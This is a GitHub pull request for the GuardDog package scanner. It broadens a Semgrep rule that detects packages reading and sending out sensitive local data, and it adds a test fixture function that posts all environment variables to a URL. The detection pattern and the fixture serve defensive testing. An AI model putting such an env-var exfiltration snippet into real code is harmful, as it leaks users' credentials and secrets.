Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Enhance exfiltrate-sensitive-data rule #475

Merged
merged 2 commits into from
Oct 25, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion guarddog/analyzer/sourcecode/exfiltrate-sensitive-data.yml
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ rules:
metadata:
description: Identify when a package reads and exfiltrates sensitive data from the local system
pattern-sources:
- pattern: os.environ.items()
- pattern: os.environ
- pattern: '[... for ... in os.environ.items()]'
- pattern: socket.gethostname()
- pattern: getpass.getuser()
Expand Down
7 changes: 7 additions & 0 deletions tests/analyzer/sourcecode/exfiltrate-sensitive-data.py
Original file line number Diff line number Diff line change
Expand Up @@ -172,6 +172,13 @@ def checkVersion():
req.read()


def leak_env_vars():
env_vars = os.environ
url = "https://www.datadoghq.com/"
# ruleid: exfiltrate-sensitive-data
requests.post(url, json=dict(env_vars))


""" RULEID: CTX
"""

Expand Down